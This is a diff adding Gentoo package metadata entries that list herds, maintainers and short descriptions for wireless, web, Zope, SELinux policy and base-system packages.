+<pkgmetadata pkgname="net-wireless/bluez-hciemu">
+<herd>wireless</herd>
+<herd>pda</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/bluez-kernel">
+<herd>wireless</herd>
+<herd>pda</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/bluez-libs">
+<herd>wireless</herd>
+<herd>pda</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/bluez-pan">
+<herd>wireless</herd>
+<herd>pda</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/bluez-sdp">
+<herd>wireless</herd>
+<herd>pda</herd>
+<maintainer>
+  <email>liquidx@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/bluez-utils">
+<herd>wireless</herd>
+<herd>pda</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/gnome-bluetooth">
+<herd>wireless</herd>
+<herd>pda</herd>
+<herd>gnome</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/hostap-driver">
+  <herd>mobile</herd>
+  <maintainer>
+    <email>wschlich@gentoo.org</email>
+    <name>Wolfram Schlich</name>
+  </maintainer>
+  <longdescription>This is a Linux driver for wireless LAN cards based on
+  Intersil's Prism2/2.5/3 chipset. The driver supports a so called Host AP mode,
+  i.e., it takes care of IEEE 802.11 management functions in the host computer
+  and acts as an access point. This does not require any special firmware for
+  the wireless LAN card. In addition to this, it has support for normal station
+  operations in BSS and possible also in IBSS.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/hostap-utils">
+  <herd>mobile</herd>
+  <maintainer>
+    <email>wschlich@gentoo.org</email>
+    <name>Wolfram Schlich</name>
+  </maintainer>
+  <longdescription>Utility programs for hostap-driver</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/hostapd">
+  <herd>mobile</herd>
+  <maintainer>
+    <email>wschlich@gentoo.org</email>
+    <name>Wolfram Schlich</name>
+  </maintainer>
+  <longdescription>User space daemon for the hostap-driver.
+  Extended IEEE 802.11 management, IEEE 802.1X Authenticator,
+  RADIUS Authentication client, RADIUS Accounting client</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/kismet">
+<herd>mobile</herd>
+<maintainer>
+  <email>latexer@gentoo.org</email>
+  <name>Peter Johanson</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/libbtctl">
+<herd>wireless</herd>
+<herd>pda</herd>
+<herd>gnome</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/linux-wlan-ng">
+<herd>mobile</herd>
+<maintainer>
+  <email>latexer@gentoo.org</email>
+  <name>Peter Johanson</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/madwifi-driver">
+<herd>mobile</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/waproamd">
+<herd>mobile</herd>
+<maintainer>
+  <email>latexer@gentoo.org</email>
+  <name>Peter Johanson</name>
+  <description>This is about the most useful wireless config daemon out there. I'm here to make sure it jives in gentoo.</description>
+</maintainer>
+<longdescription>waproamd provides an easy way to handle roaming with wireless cards, in particular with setting WEP keys based on either ESSID or AP MAC address.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/wavelan-applet">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/wavemon">
+<herd>mobile</herd>
+<maintainer>
+  <email>latexer@gentoo.org</email>
+  <name>Peter Johanson</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-wireless/wireless-tools">
+<herd>mobile</herd>
+<maintainer>
+  <email>latexer@gentoo.org</email>
+  <name>Peter Johanson</name>
+</maintainer>
+<longdescription>This package provides all the command line tools for configuring wireless devices with drivers that implement the Wireless Extensions (almost all recent 802.11a/b/g drivers).</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/adzapper">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/apache">
+<herd>web-apps</herd>
+<longdescription>
+The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/bugzilla">
+<herd>web-apps</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/cherokee">
+<herd>web-apps</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/ci">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/epiphany">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/galeon">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/gorua">
+<herd>cjk</herd>
+<herd>ruby</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/gurlchecker">
+<herd>gnome</herd>
+<maintainer><email>leonardop@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/horde-chora">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/horde-imp">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/horde-kronolith">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/horde-pear">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/horde">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/ids">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/jboss">
+  <herd>java</herd>
+  <maintainer>
+    <email>mkennedy@gentoo.org</email>
+    <name>Matthew Kennedy</name>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/kita">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/liferea">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/links">
+<herd>no-herd</herd>
+<maintainer>
+	<email>las0mbra@ig.com.br</email>
+	<name>Ingo -LaSombra- Hoffmann</name>
+	<description>Ingo is the third party maintainer through
+	seemant@gentoo.org</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/middleman">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+<longdescription>
+Middleman is a robust proxy server with many features designed to
+remove unwanted content, increase privacy, and to simply make surfing
+the Web a more pleasant experience. Some of the highlights include
+banner and popup blocking, HTTP and FTP content caching, NTLM and
+Basic authentication when forwarding through another proxy server,
+regular expression substitution in downloaded files and HTTP headers,
+regular expression substitution on requested URLs, many URL commands
+to temporarily change the proxy settings or to view information about
+a requested file, complete support for HTTP/1.1 including persistent
+connections and gzip encoding, and an intutive Web interface for
+configuring the proxy.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/mini_httpd">
+<herd>web-apps</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/mod_gzip">
+<herd>web-apps</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/mod_pcgi2">
+<herd>net-www</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/mod_scgi">
+<herd>net-www</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/mozilla-firebird-bin">
+<herd>mozilla</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/mozilla-firebird-cvs">
+<herd>mozilla</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/mozilla-firebird">
+<herd>mozilla</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/mozilla">
+<herd>mozilla</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/mythweb">
+<herd>media-tv</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/ncsa-httpd">
+<herd>web-apps</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/ochusha">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/pcgi">
+<herd>net-www</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/phpBB">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/phpmp">
+<herd>sound</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/phpwebsite">
+<herd>web-apps</herd>
+<maintainer>
+  <email>rizzo@gentoo.org</email>
+  <name>Don Seiler</name>
+  <description>web-apps herd member and phpWebSite developer</description>
+</maintainer>
+<longdescription>phpWebSite provides a complete web site content management system. Web-based administration allows for easy maintenance of interactive, community-driven web sites.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/pound">
+<herd>web-apps</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/raggle">
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/scgi">
+<herd>net-www</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/screem">
+<herd>gnome</herd>
+<maintainer>
+<email>darkspecter@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/snownews">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/squid">
+<herd>no-herd</herd>
+<maintainer>
+	<email>woodchip@gentoo.org</email>
+	<name>Donny Davies</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/straw">
+<herd>gnome</herd>
+<herd>python</herd>
+<maintainer><email>foser@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/viewcvs">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/w3m-m17n">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/w3m">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/w3mmee">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-www/webfs">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/abracadabraobject">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/archetypes">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/btreefolder2">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/cmf">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/cmfcollectorng">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/cmfforum">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/cmfphoto">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/cmfphotoalbum">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/cmfquickinstallertool">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/externaleditor">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/extfile">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/exuserfolder">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/filesystemsite">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/fle3">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/formulator">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/genericuserfolder">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/groups">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/indexedcatalog">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/issuetrackerproduct">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/ldapuserfolder">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/localfs">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/localizer">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/mpoll">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/neoboard">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/neoportallibrary">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/parsedxml">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/photo">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/plone">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/portaltransforms">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/propertyfolder">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/propertyobject">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/silva">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/simpleuserfolder">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/squishdot">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/translationservice">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/ttwtype">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/verbosesecurity">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/xmlwidgets">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/xron">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/zmysqlda">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/zodb">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/zope">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/zphotoslides">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/zpsycopgda">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-zope/zwiki">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/grsecurity-base-policy">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-base-policy">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux base policy.  This contains policy for a system at the end of system installation.  No extra policy is in this package.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-bind">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux policy for the Berkeley Internet Name Domain server</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-clockspeed">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux policy for the DJ Bernstein's clockspeed.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-daemontools">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux policy for the DJ Bernstein's daemontools.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-distcc">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux policy for the distccd distributed compiler daemon.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-logrotate">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux policy for the logrotate</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-ntp">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux policy for the network time protocol daemon.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-portmap">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux policy for portmap.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-privoxy">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux policy for the privoxy filtering web proxy.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-publicfile">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Gentoo SELinux policy for the DJ Bernstein's publicfile.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sec-policy/selinux-ucspi-tcp">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>
+  Gentoo SELinux policy for the DJ Bernstein's TCP server and client tools.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/acct">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/acl">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/acpi">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/acpid">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/amiga-fdisk">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/anacron">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/apcupsd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/apmd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/at">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/athcool">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/atop">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/attr">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/bar">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/baselayout">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/buffer">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/busybox">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/byld">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/checkpolicy">
+<herd>hardened</herd>
+<maintainer>
+	<email>pebenito@gentoo.org</email>
+	<name>Chris PeBenito</name>
+	<description>Primary Maintainer</description>
+</maintainer>
+<longdescription>SELinux policy compilier</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/chpax">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/cloop">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/console-data">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/console-tools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/coreutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/cpudyn">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/cpufreqd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/cronbase">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/daemontools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/dbus">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/dcron">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/debianutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/di">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/diffutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/discover-data">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/discover">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/dmapi">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/dnotify">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/dog">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/ed">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/eject">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/ethtool">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/evkeyd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/ezusb2131">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/fakeroot">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/fbset">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/fcron">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/file">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/fileutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/findutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/fxload">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/gawk">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/gluelog">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/gnumaniak">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/gpart">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/gradm">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/gradm2">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/grep">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/groff">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/gscanbus">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/gtk-systrace">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/gtkpbbuttons">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/hdparm">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/help2man">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/hotplug">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/hwdata-knoppix">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/hwsetup">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/i2c">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/i8kutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/ifplugd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/iproute">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/irda-utils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/isapnptools">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/kbd">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/kudzu">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/less">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/linux32">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/lm-sensors">
+<herd>base-system</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/logwatch">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/lshw">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/lsof">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mac-fdisk">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/man-pages">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/man">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mawk">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mbuffer">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mdadm">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/memtest86">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/memtester">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/microcode-ctl">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mii-diag">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mindi-kernel">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/mindi">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/minutils">
+<herd>base-system</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="sys-apps/miscfiles">
+<herd>base-system</herd>
+</pkgmetadata>
